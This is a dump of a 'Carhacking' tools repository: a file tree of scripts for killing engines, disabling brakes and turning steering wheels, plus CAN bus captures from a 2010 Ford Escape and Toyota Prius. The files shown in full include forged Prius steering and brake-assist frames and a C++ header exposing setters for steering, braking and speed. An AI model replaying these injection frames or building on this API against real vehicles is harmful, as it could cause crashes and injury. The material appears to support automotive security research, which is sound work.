├── README.md
├── Remote Car Hacking.pdf
├── can message injection.pdf
├── captures
├── 2010 Ford Escape
│ ├── abs_service_bleed.dat
│ ├── autopark.dat
│ ├── drive.dat
│ ├── idle.dat
│ └── pam_prog.dat
└── 2010 Toyota Prius
│ ├── All-Driving.dat
│ ├── T-0052-11_upgrade.dat
│ └── control
│ ├── Brake-Assist-Full.dat
│ ├── DIA_drivers_seatbelt_motor.dat
│ ├── DIA_fuel_cut_all_cylinders.dat
│ ├── Wheel-Forged-Centered.dat
│ ├── Wheel-Forged-Clockwise-Full.dat
│ └── Wheel-Forged-CounterClockwise-Full.dat
├── car_hacking.pdf
├── car_hacking_poories.pdf
├── code
├── ECOMCat
│ ├── ECOMCat.c
│ ├── ECOMCat.vcxproj
│ ├── ecommlib.h
│ └── ecommlib.lib
├── ecomcat_api
│ ├── CarLib
│ │ ├── CarLib.cpp
│ │ ├── CarLib.h
│ │ ├── CarLib.vcxproj
│ │ ├── ReadMe.txt
│ │ ├── dllmain.cpp
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ └── targetver.h
│ ├── CarLib_Test
│ │ ├── CarLib_Test.vcxproj
│ │ └── main.cpp
│ ├── Debug
│ │ ├── CarControl.exe
│ │ ├── CarControl.exp
│ │ ├── CarControl.ilk
│ │ ├── CarControl.lib
│ │ ├── CarControl.pdb
│ │ ├── CarLib.dll
│ │ ├── CarLib.exp
│ │ ├── CarLib.ilk
│ │ ├── CarLib.lib
│ │ ├── CarLib.pdb
│ │ ├── CarLib.xml
│ │ ├── CarLib_Test.exe
│ │ ├── CarLib_Test.exp
│ │ ├── CarLib_Test.ilk
│ │ ├── CarLib_Test.lib
│ │ ├── CarLib_Test.pdb
│ │ ├── can_bridge.exe
│ │ ├── can_bridge.ilk
│ │ ├── can_bridge.pdb
│ │ ├── ecomcat_api.dll
│ │ ├── ecomcat_api.exp
│ │ ├── ecomcat_api.ilk
│ │ ├── ecomcat_api.lib
│ │ ├── ecomcat_api.pdb
│ │ ├── test_api.exe
│ │ ├── test_api.ilk
│ │ └── test_api.pdb
│ ├── FordStuff.py
│ ├── PyEcom.py
│ ├── RoutineControl.py
│ ├── apply_brakes.py.py
│ ├── brute_keys.py
│ ├── check_diagnostics.py
│ ├── config.py
│ ├── ecomcat_api.sln
│ ├── ecomcat_api.suo
│ ├── ecomcat_api
│ │ ├── Debug
│ │ │ ├── CL.read.1.tlog
│ │ │ ├── CL.write.1.tlog
│ │ │ ├── api_file.obj
│ │ │ ├── cl.command.1.tlog
│ │ │ ├── ecomcat_api.Build.CppClean.log
│ │ │ ├── ecomcat_api.dll.embed.manifest
│ │ │ ├── ecomcat_api.dll.embed.manifest.res
│ │ │ ├── ecomcat_api.dll.intermediate.manifest
│ │ │ ├── ecomcat_api.lastbuildstate
│ │ │ ├── ecomcat_api.log
│ │ │ ├── ecomcat_api.pch
│ │ │ ├── ecomcat_api.write.1.tlog
│ │ │ ├── ecomcat_api_manifest.rc
│ │ │ ├── link-cvtres.read.1.tlog
│ │ │ ├── link-cvtres.write.1.tlog
│ │ │ ├── link.10384-cvtres.read.1.tlog
│ │ │ ├── link.10384-cvtres.write.1.tlog
│ │ │ ├── link.10384.read.1.tlog
│ │ │ ├── link.10384.write.1.tlog
│ │ │ ├── link.10656-cvtres.read.1.tlog
│ │ │ ├── link.10656-cvtres.write.1.tlog
│ │ │ ├── link.10656.read.1.tlog
│ │ │ ├── link.10656.write.1.tlog
│ │ │ ├── link.11068-cvtres.read.1.tlog
│ │ │ ├── link.11068-cvtres.write.1.tlog
│ │ │ ├── link.11068.read.1.tlog
│ │ │ ├── link.11068.write.1.tlog
│ │ │ ├── link.11420-cvtres.read.1.tlog
│ │ │ ├── link.11420-cvtres.write.1.tlog
│ │ │ ├── link.11420.read.1.tlog
│ │ │ ├── link.11420.write.1.tlog
│ │ │ ├── link.11536-cvtres.read.1.tlog
│ │ │ ├── link.11536-cvtres.write.1.tlog
│ │ │ ├── link.11536.read.1.tlog
│ │ │ ├── link.11536.write.1.tlog
│ │ │ ├── link.11628-cvtres.read.1.tlog
│ │ │ ├── link.11628-cvtres.write.1.tlog
│ │ │ ├── link.11628.read.1.tlog
│ │ │ ├── link.11628.write.1.tlog
│ │ │ ├── link.11960-cvtres.read.1.tlog
│ │ │ ├── link.11960-cvtres.write.1.tlog
│ │ │ ├── link.11960.read.1.tlog
│ │ │ ├── link.11960.write.1.tlog
│ │ │ ├── link.13052-cvtres.read.1.tlog
│ │ │ ├── link.13052-cvtres.write.1.tlog
│ │ │ ├── link.13052.read.1.tlog
│ │ │ ├── link.13052.write.1.tlog
│ │ │ ├── link.1696-cvtres.read.1.tlog
│ │ │ ├── link.1696-cvtres.write.1.tlog
│ │ │ ├── link.1696.read.1.tlog
│ │ │ ├── link.1696.write.1.tlog
│ │ │ ├── link.2276-cvtres.read.1.tlog
│ │ │ ├── link.2276-cvtres.write.1.tlog
│ │ │ ├── link.2276.read.1.tlog
│ │ │ ├── link.2276.write.1.tlog
│ │ │ ├── link.2444-cvtres.read.1.tlog
│ │ │ ├── link.2444-cvtres.write.1.tlog
│ │ │ ├── link.2444.read.1.tlog
│ │ │ ├── link.2444.write.1.tlog
│ │ │ ├── link.4140-cvtres.read.1.tlog
│ │ │ ├── link.4140-cvtres.write.1.tlog
│ │ │ ├── link.4140.read.1.tlog
│ │ │ ├── link.4140.write.1.tlog
│ │ │ ├── link.4900-cvtres.read.1.tlog
│ │ │ ├── link.4900-cvtres.write.1.tlog
│ │ │ ├── link.4900.read.1.tlog
│ │ │ ├── link.4900.write.1.tlog
│ │ │ ├── link.5220-cvtres.read.1.tlog
│ │ │ ├── link.5220-cvtres.write.1.tlog
│ │ │ ├── link.5220.read.1.tlog
│ │ │ ├── link.5220.write.1.tlog
│ │ │ ├── link.5320-cvtres.read.1.tlog
│ │ │ ├── link.5320-cvtres.write.1.tlog
│ │ │ ├── link.5320.read.1.tlog
│ │ │ ├── link.5320.write.1.tlog
│ │ │ ├── link.5464-cvtres.read.1.tlog
│ │ │ ├── link.5464-cvtres.write.1.tlog
│ │ │ ├── link.5464.read.1.tlog
│ │ │ ├── link.5464.write.1.tlog
│ │ │ ├── link.5596-cvtres.read.1.tlog
│ │ │ ├── link.5596-cvtres.write.1.tlog
│ │ │ ├── link.5596.read.1.tlog
│ │ │ ├── link.5596.write.1.tlog
│ │ │ ├── link.5668-cvtres.read.1.tlog
│ │ │ ├── link.5668-cvtres.write.1.tlog
│ │ │ ├── link.5668.read.1.tlog
│ │ │ ├── link.5668.write.1.tlog
│ │ │ ├── link.6552-cvtres.read.1.tlog
│ │ │ ├── link.6552-cvtres.write.1.tlog
│ │ │ ├── link.6552.read.1.tlog
│ │ │ ├── link.6552.write.1.tlog
│ │ │ ├── link.7288-cvtres.read.1.tlog
│ │ │ ├── link.7288-cvtres.write.1.tlog
│ │ │ ├── link.7288.read.1.tlog
│ │ │ ├── link.7288.write.1.tlog
│ │ │ ├── link.7740-cvtres.read.1.tlog
│ │ │ ├── link.7740-cvtres.write.1.tlog
│ │ │ ├── link.7740.read.1.tlog
│ │ │ ├── link.7740.write.1.tlog
│ │ │ ├── link.8268-cvtres.read.1.tlog
│ │ │ ├── link.8268-cvtres.write.1.tlog
│ │ │ ├── link.8268.read.1.tlog
│ │ │ ├── link.8268.write.1.tlog
│ │ │ ├── link.8512-cvtres.read.1.tlog
│ │ │ ├── link.8512-cvtres.write.1.tlog
│ │ │ ├── link.8512.read.1.tlog
│ │ │ ├── link.8512.write.1.tlog
│ │ │ ├── link.8724-cvtres.read.1.tlog
│ │ │ ├── link.8724-cvtres.write.1.tlog
│ │ │ ├── link.8724.read.1.tlog
│ │ │ ├── link.8724.write.1.tlog
│ │ │ ├── link.8816-cvtres.read.1.tlog
│ │ │ ├── link.8816-cvtres.write.1.tlog
│ │ │ ├── link.8816.read.1.tlog
│ │ │ ├── link.8816.write.1.tlog
│ │ │ ├── link.8876-cvtres.read.1.tlog
│ │ │ ├── link.8876-cvtres.write.1.tlog
│ │ │ ├── link.8876.read.1.tlog
│ │ │ ├── link.8876.write.1.tlog
│ │ │ ├── link.9016.read.1.tlog
│ │ │ ├── link.9016.write.1.tlog
│ │ │ ├── link.9288-cvtres.read.1.tlog
│ │ │ ├── link.9288-cvtres.write.1.tlog
│ │ │ ├── link.9288.read.1.tlog
│ │ │ ├── link.9288.write.1.tlog
│ │ │ ├── link.9344-cvtres.read.1.tlog
│ │ │ ├── link.9344-cvtres.write.1.tlog
│ │ │ ├── link.9344.read.1.tlog
│ │ │ ├── link.9344.write.1.tlog
│ │ │ ├── link.9636-cvtres.read.1.tlog
│ │ │ ├── link.9636-cvtres.write.1.tlog
│ │ │ ├── link.9636.read.1.tlog
│ │ │ ├── link.9636.write.1.tlog
│ │ │ ├── link.9760-cvtres.read.1.tlog
│ │ │ ├── link.9760-cvtres.write.1.tlog
│ │ │ ├── link.9760.read.1.tlog
│ │ │ ├── link.9760.write.1.tlog
│ │ │ ├── link.9796-cvtres.read.1.tlog
│ │ │ ├── link.9796-cvtres.write.1.tlog
│ │ │ ├── link.9796.read.1.tlog
│ │ │ ├── link.9796.write.1.tlog
│ │ │ ├── link.9812-cvtres.read.1.tlog
│ │ │ ├── link.9812-cvtres.write.1.tlog
│ │ │ ├── link.9812.read.1.tlog
│ │ │ ├── link.9812.write.1.tlog
│ │ │ ├── link.9840.read.1.tlog
│ │ │ ├── link.9840.write.1.tlog
│ │ │ ├── link.9980-cvtres.read.1.tlog
│ │ │ ├── link.9980-cvtres.write.1.tlog
│ │ │ ├── link.9980.read.1.tlog
│ │ │ ├── link.9980.write.1.tlog
│ │ │ ├── link.command.1.tlog
│ │ │ ├── link.read.1.tlog
│ │ │ ├── link.write.1.tlog
│ │ │ ├── mt.command.1.tlog
│ │ │ ├── mt.read.1.tlog
│ │ │ ├── mt.write.1.tlog
│ │ │ ├── rc.command.1.tlog
│ │ │ ├── rc.read.1.tlog
│ │ │ ├── rc.write.1.tlog
│ │ │ ├── stdafx.obj
│ │ │ ├── vc100.idb
│ │ │ └── vc100.pdb
│ │ ├── ReadMe.txt
│ │ ├── api_file.c
│ │ ├── api_file.h
│ │ ├── ecomcat_api.vcxproj
│ │ ├── ecomcat_api.vcxproj.filters
│ │ ├── ecomcat_api.vcxproj.user
│ │ ├── ecommlib.h
│ │ ├── ecommlib.lib
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ └── targetver.h
│ ├── flood.py
│ ├── ford_try_wheel.py
│ ├── iso14229.py
│ ├── kill_engine.py.py
│ ├── lights_flashing.py
│ ├── lights_out.py
│ ├── message-looper.py
│ ├── nav_system.py
│ ├── no_brakes.py
│ ├── odometer.py
│ ├── pcm.py
│ ├── program_pam.py
│ ├── seatbelt-ecu.py
│ ├── seatbelt-writer.py
│ ├── security.py
│ ├── speed_bad.dat
│ ├── speedometer.py
│ ├── terminal.py
│ ├── test.py
│ ├── test_api
│ │ ├── ReadMe.txt
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ ├── targetver.h
│ │ ├── test_api.c
│ │ └── test_api.vcxproj
│ ├── tester.py
│ ├── toyota_accelerate.py
│ ├── toyota_brake_immobilizer.py
│ ├── toyota_cracker.py
│ ├── toyota_diagnostics.py
│ ├── toyota_ecm.bin
│ ├── toyota_flash_console.py
│ ├── toyota_flasher.py
│ ├── toyota_kill_engine.py
│ ├── toyota_lka_wheel_turn_clockwise.py
│ ├── toyota_lka_wheel_turn_counterclockwise.py
│ ├── toyota_memory_reader.py
│ ├── toyota_play_capture.py
│ ├── toyota_request_seed.py
│ ├── toyota_securityaccess_progmode.py
│ ├── toyota_speed_00B4.py
│ ├── toyota_speed_00B6.py
│ ├── toyota_speed_diag.py
│ ├── toyota_wheel_turn_clockwise.py
│ ├── toyota_wheel_turn_counter.py
│ ├── toyoyta_speed_invalidator.py
│ ├── wheel.dat
│ ├── wheel2.dat
│ ├── wheel_counter.dat
│ ├── wheel_more.dat
│ └── ztest.py
└── scripts
│ ├── SFF.py
│ ├── analyze.py
│ ├── carda12chrislog_win.py
│ ├── cardaq2chrislog.py
│ ├── cardaq_compare.py
│ ├── cuw_fixer.py
│ ├── data_puller.py
│ ├── diff_ids.py
│ ├── diff_lines.py
│ ├── find_diag_id.py
│ ├── find_wheel.py
│ ├── get_wheel.py
│ ├── get_wheel_info.py
│ ├── get_wheel_timing.py
│ ├── histocan.py
│ ├── ids.py
│ ├── make_firmware.py
│ ├── make_stopped_autopark_data.py
│ ├── mot_chsum.py
│ ├── one_line_at_a_time.py
│ ├── prius_read_14229ids.py
│ ├── read_14229ids.py
│ ├── remove_lines.py
│ ├── replay_it.py
│ ├── send_line.py
│ ├── try_to_turn_wheel.py
│ ├── unique_frames.py
│ └── unique_id_len.py
└── remote attack surfaces.pdf
/README.md:
--------------------------------------------------------------------------------
1 | # Carhacking
2 | car hacking tools
3 | Compiled set of tools and documents
4 |
5 | PRs are welcome, no blobs please.
6 |
--------------------------------------------------------------------------------
/Remote Car Hacking.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/Remote Car Hacking.pdf
--------------------------------------------------------------------------------
/can message injection.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/can message injection.pdf
--------------------------------------------------------------------------------
/captures/2010 Ford Escape/abs_service_bleed.dat:
--------------------------------------------------------------------------------
1 | IDH: 07, IDL: 60, Len: 08, Data: 02 10 87 00 00 00 00 00 ,TS: 235180,BAUD: 1
2 | IDH: 07, IDL: 68, Len: 08, Data: 03 7F 10 78 00 00 00 00 ,TS: 235804,BAUD: 1
3 | IDH: 07, IDL: 68, Len: 08, Data: 02 50 87 00 00 00 00 00 ,TS: 235957,BAUD: 1
4 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 252057,BAUD: 1
5 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 252352,BAUD: 1
6 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 267762,BAUD: 1
7 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 267977,BAUD: 1
8 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 283382,BAUD: 1
9 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 283602,BAUD: 1
10 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 299103,BAUD: 1
11 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 299397,BAUD: 1
12 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 330274,BAUD: 1
13 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 330476,BAUD: 1
14 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 345995,BAUD: 1
15 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 346264,BAUD: 1
16 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 361490,BAUD: 1
17 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 361744,BAUD: 1
18 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 377213,BAUD: 1
19 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 377529,BAUD: 1
20 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 408401,BAUD: 1
21 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 408601,BAUD: 1
22 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 424111,BAUD: 1
23 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 424389,BAUD: 1
24 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 439585,BAUD: 1
25 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 439851,BAUD: 1
26 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 455305,BAUD: 1
27 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 455475,BAUD: 1
28 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 486496,BAUD: 1
29 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 486729,BAUD: 1
30 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 502218,BAUD: 1
31 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 502513,BAUD: 1
32 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 517932,BAUD: 1
33 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 518153,BAUD: 1
34 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 533637,BAUD: 1
35 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 533913,BAUD: 1
36 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 564831,BAUD: 1
37 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 565013,BAUD: 1
38 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 580437,BAUD: 1
39 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 580639,BAUD: 1
40 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 596157,BAUD: 1
41 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 596416,BAUD: 1
42 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 611890,BAUD: 1
43 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 612203,BAUD: 1
44 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 643066,BAUD: 1
45 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 643287,BAUD: 1
46 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 658791,BAUD: 1
47 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 659078,BAUD: 1
48 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 674261,BAUD: 1
49 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 674547,BAUD: 1
50 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 689976,BAUD: 1
51 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 690161,BAUD: 1
52 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 721185,BAUD: 1
53 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 721411,BAUD: 1
54 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 736903,BAUD: 1
55 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 737204,BAUD: 1
56 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 752362,BAUD: 1
57 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 752663,BAUD: 1
58 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 768077,BAUD: 1
59 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 768286,BAUD: 1
60 |
--------------------------------------------------------------------------------
/captures/2010 Toyota Prius/control/Brake-Assist-Full.dat:
--------------------------------------------------------------------------------
1 | IDH: 02, IDL: 83, Len: 07, Data: 61 00 E0 BE 8C 00 17
2 |
--------------------------------------------------------------------------------
/captures/2010 Toyota Prius/control/Wheel-Forged-Centered.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 66, Len: 08, Data: 30 00 10 01 00 00 AC 5D
3 |
--------------------------------------------------------------------------------
/captures/2010 Toyota Prius/control/Wheel-Forged-Clockwise-Full.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 66, Len: 08, Data: 3E AA 10 01 00 00 AC 15
3 |
--------------------------------------------------------------------------------
/captures/2010 Toyota Prius/control/Wheel-Forged-CounterClockwise-Full.dat:
--------------------------------------------------------------------------------
1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70
2 | IDH: 02, IDL: 66, Len: 08, Data: 31 55 10 01 00 00 AC B3
3 |
--------------------------------------------------------------------------------
/car_hacking.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/car_hacking.pdf
--------------------------------------------------------------------------------
/car_hacking_poories.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/car_hacking_poories.pdf
--------------------------------------------------------------------------------
/code/ECOMCat/ECOMCat.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {7D6DA6D6-F36B-42BF-ABE7-954EDC88833E}
15 | Win32Proj
16 | ECOMCat
17 |
18 |
19 |
20 | Application
21 | true
22 | Unicode
23 |
24 |
25 | Application
26 | false
27 | true
28 | Unicode
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | true
42 |
43 |
44 | false
45 |
46 |
47 |
48 |
49 |
50 | Level3
51 | Disabled
52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
53 |
54 |
55 | Console
56 | true
57 |
58 |
59 |
60 |
61 | Level3
62 |
63 |
64 | MaxSpeed
65 | true
66 | true
67 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
68 |
69 |
70 | Console
71 | true
72 | true
73 | true
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
--------------------------------------------------------------------------------
/code/ECOMCat/ecommlib.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ECOMCat/ecommlib.lib
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib/CarLib.h:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | #define PARK 1
4 | #define DRIVE 2
5 | #define REVERSE 3
6 | #define NEUTRAL 4
7 | #define ENGINEBRAKE 5
8 | #define LOW 6
9 |
10 | #define BRAKE_ENGAGED 0
11 | #define BRAKE_DISENGAGED 1
12 | #define BRAKE_LOCKED 2
13 |
14 | #define AUTOPARK_ENABLED 0
15 | #define AUTOPARK_DISABLED 1
16 |
17 |
18 | class __declspec(dllexport) Car
19 | {
20 | protected:
21 | HANDLE ecom_device;
22 | unsigned short year;
23 |
24 | unsigned short SPEED_WID;
25 | unsigned short RPM_WID;
26 | unsigned short BRAKE_PEDAL_WID;
27 | unsigned short GAS_PEDAL_WID;
28 | unsigned short STEERING_ANGLE_WID;
29 | unsigned short CURR_GEAR_WID;
30 | unsigned short AUTO_PARK_WID;
31 | unsigned short AUTO_BRAKE_WID;
32 |
33 | public:
34 | SFFMessage* get_single(unsigned short wid);
35 |
36 | //getters
37 | virtual unsigned int GetSpeed() = 0;
38 | virtual unsigned short GetRPM() = 0;
39 | virtual unsigned char GetBrakeState() = 0;
40 | virtual unsigned char GetGasPedalAngle() = 0;
41 | virtual short GetSteeringAngle() = 0;
42 | virtual unsigned char GetCurrGear() = 0;
43 | virtual unsigned char GetAutoPark() = 0;
44 | virtual unsigned short GetAutoBrake() = 0;
45 |
46 | //setters
47 | virtual void SetAutoBrake(unsigned short pressure, unsigned int for_time) = 0;
48 | virtual void SetSpeed(unsigned short KPH, unsigned int for_time) = 0;
49 | virtual void SetSteeringAngle(short angle, unsigned int for_time) = 0;
50 | virtual void SetRPM(unsigned short RPM, unsigned int for_time) = 0;
51 | };
52 |
53 | class __declspec(dllexport) ToyotaPrius : Car
54 | {
55 | public:
56 | ToyotaPrius();
57 | void AddChecksum(SFFMessage *sff);
58 |
59 | //getters
60 | unsigned int GetSpeed();
61 | unsigned short GetRPM();
62 | unsigned char GetBrakeState();
63 | unsigned char GetGasPedalAngle();
64 | short GetSteeringAngle();
65 | unsigned char GetCurrGear();
66 | unsigned char GetAutoPark();
67 | unsigned short GetAutoBrake();
68 |
69 | //setters
70 | void SetAutoBrake(unsigned short pressure, unsigned int for_time);
71 | void SetSpeed(unsigned short KPH, unsigned int for_time);
72 | void SetSteeringAngle(short angle, unsigned int for_time);
73 | void SetRPM(unsigned short RPM, unsigned int for_time);
74 |
75 | //Car specific
76 | short GetServoAngle();
77 | };
78 |
79 | class __declspec(dllexport) FordEscape : Car
80 | {
81 | public:
82 | FordEscape();
83 |
84 | //getters
85 | unsigned int GetSpeed();
86 | unsigned short GetRPM();
87 | unsigned char GetBrakeState();
88 | unsigned char GetGasPedalAngle();
89 | short GetSteeringAngle();
90 | unsigned char GetCurrGear();
91 | unsigned char GetAutoPark();
92 | unsigned short GetAutoBrake();
93 |
94 | //setters
95 | void SetAutoBrake(unsigned short pressure, unsigned int for_time);
96 | void SetSpeed(unsigned short KPH, unsigned int for_time);
97 | void SetSteeringAngle(short angle, unsigned int for_time);
98 | void SetRPM(unsigned short RPM, unsigned int for_time);
99 | };
100 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | DYNAMIC LINK LIBRARY : CarLib Project Overview
3 | ========================================================================
4 |
5 | AppWizard has created this CarLib DLL for you.
6 |
7 | This file contains a summary of what you will find in each of the files that
8 | make up your CarLib application.
9 |
10 |
11 | CarLib.vcxproj
12 | This is the main project file for VC++ projects generated using an Application Wizard.
13 | It contains information about the version of Visual C++ that generated the file, and
14 | information about the platforms, configurations, and project features selected with the
15 | Application Wizard.
16 |
17 | CarLib.vcxproj.filters
18 | This is the filters file for VC++ projects generated using an Application Wizard.
19 | It contains information about the association between the files in your project
20 | and the filters. This association is used in the IDE to show grouping of files with
21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the
22 | "Source Files" filter).
23 |
24 | CarLib.cpp
25 | This is the main DLL source file.
26 |
27 | When created, this DLL does not export any symbols. As a result, it
28 | will not produce a .lib file when it is built. If you wish this project
29 | to be a project dependency of some other project, you will either need to
30 | add code to export some symbols from the DLL so that an export library
31 | will be produced, or you can set the Ignore Input Library property to Yes
32 | on the General propert page of the Linker folder in the project's Property
33 | Pages dialog box.
34 |
35 | /////////////////////////////////////////////////////////////////////////////
36 | Other standard files:
37 |
38 | StdAfx.h, StdAfx.cpp
39 | These files are used to build a precompiled header (PCH) file
40 | named CarLib.pch and a precompiled types file named StdAfx.obj.
41 |
42 | /////////////////////////////////////////////////////////////////////////////
43 | Other notes:
44 |
45 | AppWizard uses "TODO:" comments to indicate parts of the source code you
46 | should add to or customize.
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "stdafx.h"
3 |
4 | BOOL APIENTRY DllMain( HMODULE hModule,
5 | DWORD ul_reason_for_call,
6 | LPVOID lpReserved
7 | )
8 | {
9 | switch (ul_reason_for_call)
10 | {
11 | case DLL_PROCESS_ATTACH:
12 | case DLL_THREAD_ATTACH:
13 | case DLL_THREAD_DETACH:
14 | case DLL_PROCESS_DETACH:
15 | break;
16 | }
17 | return TRUE;
18 | }
19 |
20 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // CarLib.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib/stdafx.h:
--------------------------------------------------------------------------------
